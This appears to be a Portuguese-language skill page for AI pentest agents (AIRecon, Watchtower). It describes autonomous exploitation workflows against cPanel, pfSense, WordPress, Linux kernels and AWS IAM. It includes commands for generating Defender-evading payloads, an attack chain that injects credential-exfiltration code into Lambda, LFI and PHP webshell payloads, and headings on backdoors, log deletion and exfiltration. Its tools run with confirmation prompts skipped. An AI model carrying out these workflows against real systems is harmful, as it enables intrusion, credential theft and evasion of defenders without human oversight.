# 4. Se vulnerável, explorar
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py exploit"

# 5. Verificar acesso
airecon "verify cpanel root access"

# 6. Exportar evidence
airecon "export cpanel exploitation evidence"

Workflow Example: CVE-2026-31431 (Linux LPE) com AIRecon

# 1. Detectar kernel vulnerability
airecon "test CVE-2026-31431 vulnerability"

# 2. Se vulnerável, explorar
airecon "exploit CVE-2026-31431 --method passwd-uid"

# 3. Verificar root access
airecon "verify root access"

# 4. Pós-exploração automática
airecon "post-exploitation enumeration"

# 5. Limpeza (restaurar page cache)
airecon "restore page cache /etc/passwd"

AIRecon Auto-Skill Loading para Exploitation

Keywords Detectadas	Skills Carregadas	MCP Tools Ativados
`exploit` `cve`	pentest-exploitation	cve-mcp, hexstrike (metasploit)
`payload` `shellcode`	pentest-exploitation	boaz, hexstrike (msfvenom)
`cpanel` `whm`	pentest-exploitation	cve-mcp (CVE-2026-41940)
`linux lpe` `kernel`	pentest-exploitation	hexstrike (pwntools)
`aws iam` `privesc`	pentest-exploitation	worstassume, hexstrike
`pfsense` `firewall`	pentest-pfsense, pentest-exploitation	cve-mcp, hexstrike

AIRecon + BOAZ Payload Generation

# AIRecon gera payloads evasivos automaticamente
airecon "boaz generate --input shell.exe --output evasive.exe"

# Opções de evasão disponíveis:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Syscall whisper
# - Junk code insertion
# - Anti-emulation checks
# - Self-deletion

# AIRecon seleciona técnicas baseado no target:
# Windows 11 + Defender → Evasão avançada
# Windows Server → Evasão moderada
# Linux → ELF payload com técnicas similares

AIRecon Attack Chain Execution

# AIRecon executa attack chains automaticamente
airecon "execute attack chain PassRole+Lambda→StealRole"

# Steps executados:
# 1. Identify high-privilege role
# 2. Create Lambda function with role
# 3. Inject credential exfiltration code
# 4. Invoke function
# 5. Collect credentials from output
# 6. Validate access with new credentials

# AIRecon reporta cada step e exporta evidências

🤖 Watchtower Integration for Exploitation

Invocando Watchtower para Exploitation

# Exploitation scanning com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de exploitation
# - Worker Agent: Executa ferramentas de exploração
# - Analyst Agent: Valida explorações bem-sucedidas

# Exploitation focado em SQL injection
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# Exploitation focado em XSS
python -m watchtower.main -t https://www.example.com \
  --focus xss \
  --skip-ask-tools

# CMS-specific exploitation
python -m watchtower.main -t https://www.example.com \
  --focus wordpress \
  --skip-ask-tools

Watchtower Slash Commands para Exploitation

# SQL injection exploitation
/watchtower-exploit --target https://www.example.com --type sqli

# XSS exploitation
/watchtower-exploit --target https://www.example.com --type xss

# WordPress exploitation
/watchtower-exploit --target https://www.example.com --cms wordpress

# Authentication bypass testing
/watchtower-exploit --target https://www.example.com --type auth-bypass

# File inclusion testing
/watchtower-exploit --target https://www.example.com --type lfi

MCP Tool Integration via Watchtower

Watchtower integra-se com MCP tools automaticamente durante exploitation:

# hexstrike-local: Exploitation tools
# - sqlmap_scan: SQL injection detection + exploitation
# - dalfox_xss_scan: Advanced XSS exploitation
# - xsser_scan: Comprehensive XSS testing
# - wpscan_analyze: WordPress exploitation
# - jaeles_vulnerability_scan: Signature-based exploitation
# - msfvenom_generate: Payload generation
# - metasploit_run: Metasploit module execution

# BOAZ integration for payload generation
# - generate_payload: Evasive Windows payloads
# - list_loaders: Available loader modules
# - list_outputs: Generated payloads

# pentestswarm-remote: Exploitation campaigns
# - start_campaign: Stateful exploitation campaign
# - get_campaign_findings: Exploitation results

# cve-mcp: Exploit intelligence
# - check_exploit_availability: Public exploits
# - get_cve_summary: CVE details for targeting

Workflow Example: SQL Injection Exploitation

# 1. Watchtower detecta SQL injection
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# 2. Watchtower executa:
#    - sqlmap: SQLi detection + exploitation
#    - nuclei: SQLi templates
#    - jaeles: SQLi signatures

# 3. Se SQLi confirmado:
#    - Database enumeration
#    - Credential extraction
#    - OS command execution (se --os-shell)

# 4. Watchtower Analyst valida sucesso
# 5. Relatório PDF com evidências
python -m watchtower.main --report "sqli_exploitation_report.pdf"

Workflow Example: XSS Exploitation

# 1. Watchtower detecta XSS
python -m watchtower.main -t https://www.example.com \
  --focus xss \
  --skip-ask-tools

# 2. Watchtower executa:
#    - dalfox: Advanced XSS scanning
#    - xsstrike: XSS detection + payload gen
#    - xsser: Comprehensive XSS testing

# 3. Tipos de XSS detectados:
#    - Reflected XSS
#    - Stored XSS
#    - DOM-based XSS
#    - Blind XSS

# 4. Payloads geradas automaticamente
# 5. Proof-of-concept URLs geradas

Workflow Example: WordPress Exploitation

# 1. Watchtower detecta WordPress
python -m watchtower.main -t https://www.example.com \
  --focus wordpress \
  --skip-ask-tools

# 2. Watchtower executa:
#    - wpscan: WordPress vulnerability scanning
#    - Plugin enumeration + CVE matching
#    - Theme enumeration
#    - User enumeration
#    - Version detection

# 3. Vulnerabilidades verificadas:
#    - Core WordPress CVEs
#    - Plugin vulnerabilities
#    - Theme vulnerabilities
#    - Weak credentials

# 4. Se vulnerável:
#    - Exploitation automática (se PoC disponível)
#    - Credential stuffing
#    - Plugin/theme exploit execution

Workflow Example: pfSense Exploitation

# Watchtower explora pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Exploits verificados automaticamente:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation

# Se exploit bem-sucedido:
# - Watchtower Analyst valida acesso
# - Command execution confirmada
# - Evidências capturadas
# - Incluído no relatório PDF

Workflow Example: cPanel Exploitation (CVE-2026-41940)

# Watchtower explora cPanel CVE-2026-41940
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools

# Exploitation workflow:
# 1. whatweb: cPanel version detection
# 2. cve-mcp: CVE-2026-41940 verification
# 3. Exploit execution (poc.py)
# 4. Access validation

# Se exploit bem-sucedido:
# - Authentication bypass confirmado
# - Admin access obtido
# - Watchtower categoriza como CRITICAL
# - Evidências capturadas automaticamente

Watchtower Auto-Skill Loading para Exploitation

Keywords Detectadas	Skills Carregadas	Watchtower Tools Ativadas
`sqli` `sql injection`	pentest-exploitation	sqlmap, nuclei
`xss`	pentest-exploitation	dalfox, xsstrike, xsser
`wordpress` `wp`	pentest-exploitation	wpscan
`lfi` `rfi`	pentest-exploitation	nuclei, jaeles
`auth bypass`	pentest-exploitation	nuclei, http_repeater
`rce` `command injection`	pentest-exploitation	nuclei, jaeles
`pfsense`	pentest-pfsense	cve-mcp, nuclei
`cpanel` `whm`	pentest-exploitation	cve-mcp (CVE-2026-41940)
`payload` `shell`	pentest-exploitation	msfvenom, boaz

Watchtower Exploitation Tools

Tool	Category	Exploitation Type	Success Rate
sqlmap	SQL Injection	SQLi detection + exploitation	High
dalfox	XSS	Reflected, stored, DOM XSS	High
xsstrike	XSS	XSS + payload generation	High
xsser	XSS	Comprehensive XSS testing	Moderate
wpscan	CMS	WordPress exploitation	High
nuclei	Vuln Exploitation	CVE exploitation templates	Moderate
jaeles	Signature-based	Web app exploitation	Moderate
msfvenom	Payload Gen	Custom payload generation	N/A
metasploit	Exploitation Framework	Module execution	High
boaz	Payload Gen	Evasive Windows payloads	High

Watchtower BOAZ Payload Generation

# Watchtower usa BOAZ para payload generation:

# 1. Generate evasive payload
mcp__boaz__generate_payload(
    input_file="shell.exe",
    loader=1,
    shellcode_type="inject",
    encoding="base64",
    compiler="gcc",
    sleep_obf=True,
    anti_emulation=True,
    etw_patch=True,
    junk_api=True,
    api_unhooking=True
)

# 2. List available loaders
mcp__boaz__list_loaders()

# 3. List generated outputs
mcp__boaz__list_outputs()

# Payload features:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Anti-emulation
# - Junk code insertion
# - Self-deletion

Watchtower Attack Chain Execution

┌─────────────────────────────────────────────────────────────┐
│              Watchtower Exploitation Workflow                │
└─────────────────────────────────────────────────────────────┘
                              │
        ┌─────────────────────┼─────────────────────┐
        │                     │                     │
        ▼                     ▼                     ▼
┌───────────────┐   ┌─────────────────┐   ┌───────────────┐
│  Detection    │   │  Exploitation   │   │  Validation   │
│               │   │                 │   │               │
│ - sqlmap      │   │ - sqlmap --os-  │   │ - Analyst     │
│ - dalfox      │   │   shell         │   │   validates   │
│ - wpscan      │   │ - dalfox --blind│   │ - Evidence    │
│ - nuclei      │   │ - nuclei exploit│   │   captured    │
└───────────────┘   └─────────────────┘   └───────────────┘

Watchtower + AIRecon Combined Workflow

# 1. AIRecon para exploitation planning
airecon "plan exploitation for target.com SQL injection"

# 2. Watchtower para automated exploitation
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# 3. AIRecon para análise de resultados
airecon "analyze watchtower exploitation results"

# 4. AIRecon + BOAZ para payload generation
airecon "generate evasive payload for Windows 11 + Defender"

# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "exploitation_report.pdf"

Watchtower + Metasploit Integration

# Watchtower integra com Metasploit via MCP tools:

# 1. Search for relevant module
airecon "search metasploit module for CVE-2021-44228"

# 2. Execute module via Watchtower
python -m watchtower.main -t https://www.example.com \
  --metasploit-module exploit/multi/http/log4shell \
  --skip-ask-tools

# 3. Watchtower Analyst valida sucesso
# 4. Session information captured

Watchtower Authentication Bypass Testing

# Watchtower testa authentication bypass automaticamente
python -m watchtower.main -t https://www.example.com \
  --focus auth-bypass \
  --skip-ask-tools

# Técnicas testadas:
# - SQL injection em login forms
# - Default credentials
# - Session manipulation
# - JWT token bypass
# - 2FA bypass attempts
# - Password reset abuse

# Se bypass bem-sucedido:
# - Watchtower Analyst valida acesso
# - Captura evidências
# - Categoriza por severidade

Watchtower File Inclusion Testing

# Watchtower testa LFI/RFI automaticamente
python -m watchtower.main -t https://www.example.com \
  --focus lfi \
  --skip-ask-tools

# Vulnerabilidades testadas:
# - Local File Inclusion (LFI)
# - Remote File Inclusion (RFI)
# - Path Traversal
# - File Upload bypass

# Payloads usadas:
# - ../../../etc/passwd
# - php://filter/convert.base64-encode
# - data://text/plain,<?php system($_GET['c']); ?>
# - file:///etc/passwd

Watchtower Exploitation Output Formats

# JSON output para integração
python -m watchtower.main -t target.com \
  --output json \
  --skip-ask-tools \
  -o exploitation_findings.json

# PDF report automático
python -m watchtower.main -t target.com \
  --report "exploitation_report.pdf" \
  --skip-ask-tools

# Evidence capture:
# - Screenshots de sucesso
# - Command output logs
# - Session information
# - Credential dumps

Watchtower Exploitation Success Validation

Watchtower Analyst valida explorações bem-sucedidas:

Validation Criteria:
1. Expected response pattern match
2. Command execution confirmation
3. Data exfiltration success
4. Session establishment
5. Error message analysis

Success Indicators:
- SQLi: Database version, user, tables extracted
- XSS: Alert executed, cookie stolen
- RCE: Command output returned
- Auth Bypass: Admin access confirmed
- LFI: File contents disclosed

Watchtower + WorstAssume Attack Chain Integration

# 1. WorstAssume identifica attack chains
worst assess --min-severity HIGH --output json > worst_findings.json

# 2. Watchtower para exploitation externa
python -m watchtower.main -t https://external-target.com \
  --skip-ask-tools

# 3. Consolidar findings
# WorstAssume: IAM privilege escalation chains
# Watchtower: External exploitation success

airecon "merge worstassume attack chains with watchtower exploits"

# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_exploitation_report.pdf"

Watchtower Exploitation Report Generation

# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "exploitation_report.pdf"

# Relatório inclui:
# - Executive Summary
# - Exploitation Summary by Type
# - Successful Exploits (with evidence)
# - Failed Attempts
# - Risk Matrix
# - CVE Details (se aplicável)
# - Technical Findings
# - Remediation Recommendations
# - Evidence Appendices (screenshots, logs)
# - References (Exploit-DB, GitHub, vendor advisories)

Watchtower Error Handling

Watchtower implementa retry logic e fallback automático:

Se exploração falha:
1. Retry com payload alternativo
2. Fallback para ferramenta alternativa:
   - sqlmap falha → nuclei SQLi templates
   - dalfox falha → xsstrike
   - wpscan falha → nuclei WordPress templates
3. Reporta falha após 3 retries
4. Continua com próximas explorações

Referências PTES

PTES Section 4: Exploitation
PTES 4.1: Precision Strike (Countermeasure Bypass)
PTES 4.2: Customized Exploitation (Fuzzing, Brute-Force)
PTES 4.4: Attacking the User (Web Attacks, SET)
PTES 4.7: Pillaging (Data Exfiltration, Database Enumeration)
PTES 4.9: Further Penetration (Pivoting, Cleanup)
PTES 4.10: Persistence

pentest-exploitation

المزيد من هذا المستودع

المزيد من هذا المستودع

PTES Phase 5: Exploitation

🎯 pfSense Detection & Routing

Indicadores de pfSense

Sinais de Alerta

Ação Imediata

Objetivo

WorstAssume Attack Chain Engine (worstassume/core/attack_chains.py)

7 Attack Chain Families

PrivEsc Finding Families (A-F)

PATH-IDs (42 Attack Paths)

Referências PTES para Exploitation

PTES 4.1 - Precision Strike

PTES 4.2 - Customized Exploitation

PTES 4.4 - Attacking the User

PTES 4.7 - Pillaging

PTES 4.9 - Further Penetration

PTES 4.10 - Persistence

⚠️ AVISO IMPORTANTE

Exploração com WorstAssume

1. Descoberta de Attack Paths (PTES 4.2 - Customized Exploitation)

2. Técnicas de Exploração por Categoria (PTES 4.1 - Precision Strike)

EXPLOIT-IAM-001: Policy Version Creation (PTES 4.1.1 - Countermeasure Bypass)

EXPLOIT-IAM-002: Attach Policy (PTES 4.2 - Customized Exploitation)

EXPLOIT-IAM-003: Inline Policy Injection (PTES 4.2.1 - Fuzzing)

EXPLOIT-IAM-004: Group Membership Escalation (PTES 4.7.3 - Locating Shares)

EXPLOIT-IAM-005: Trust Policy Modification (PTES 4.2 - Customized Exploitation)

EXPLOIT-IAM-006: Credential Creation (PTES 4.7 - Pillaging)

EXPLOIT-COMPUTE-001: PassRole + Lambda (PTES 4.2 - Customized Exploitation)

EXPLOIT-COMPUTE-002: PassRole + EC2 (PTES 4.7.2 - Data Exfiltration)

EXPLOIT-COMPUTE-003: SSM Lateral Movement (PTES 4.9 - Pivoting)

EXPLOIT-DATA-001: Secrets Manager Harvest (PTES 4.7 - Pillaging)

EXPLOIT-CROSS-001: Cross-Account Assumption (PTES 4.9 - Pivoting)

3. Cadeias de Exploração Completa (PTES 4.2 - Customized Exploitation)

Chain A: IAM → Admin Completo (PTES 4.1 - Precision Strike)

Chain B: PassRole → Lambda → Admin (PTES 4.2 - Customized Exploitation)

Chain C: Cross-Account → Lateral Movement (PTES 4.9 - Pivoting)

EXPLOIT-NET-000: Network Reconnaissance com Naabu (PTES 4.1 - Precision Strike)

EXPLOIT-NET-001: Firewall Bypass e IDS Evasion com hping3 (PTES 4.1.1 - Countermeasure Bypass)

EXPLOIT-WEB-001: HTTP Header Injection - IP Bypass com headi (PTES 4.1.1.8 - WAF Bypass)

4. Técnicas de Evasão (PTES 4.1.1 - Countermeasure Bypass)

Evitar CloudTrail Detection (PTES 4.1.1 - Bypass)

Rate Limiting (PTES 4.1.1 - Human Bypass)

Log Deletion (PTES 4.9.2 - Cleanup)

5. Documentação da Exploração (PTES 6.2 - Technical Reporting)

Template de Evidência (PTES 4.7 - Pillaging)

6. Validação de Sucesso (PTES 4.9 - Pivoting)

7. Persistence Techniques (PTES 4.10 - Persistence)

Backdoor Access Keys

Login Profile Creation

Lambda Backdoor

8. Data Exfiltration (PTES 4.7.2 - Data Exfiltration)

S3 Exfiltration

Secrets Exfiltration

Database Dump

9. Output Esperado desta Fase (PTES Deliverables)

Exploitation Report (PTES 4 - Exploitation)

Password Attacks com security-passwords

Recursos Disponíveis (security-passwords plugin)

Brute Force Attacks (PTES 4.2.5 - Brute-Force)

Password Spraying

Default Credentials (cirt-default-usernames.txt)

CTF Exploitation Techniques (ctf-assistant agent)

Web Exploitation

XSS in CTFs

Password Cracking em CTFs

Binary Exploitation (pwntools)

Forensics em CTFs

Crypto CTF Techniques

EXPLOIT-WEB-002: CVE-2026-41940 — cPanel & WHM Authentication Bypass

Root Cause (Resumo Técnico)

Pré-requisitos para Exploração

Passo-a-Passo para Pentest

Pós-Exploração (Manual)

Payload Bypass

Template de Finding

Mitigação (para reporte)

Referências

Recursos Disponíveis (`security-passwords` plugin)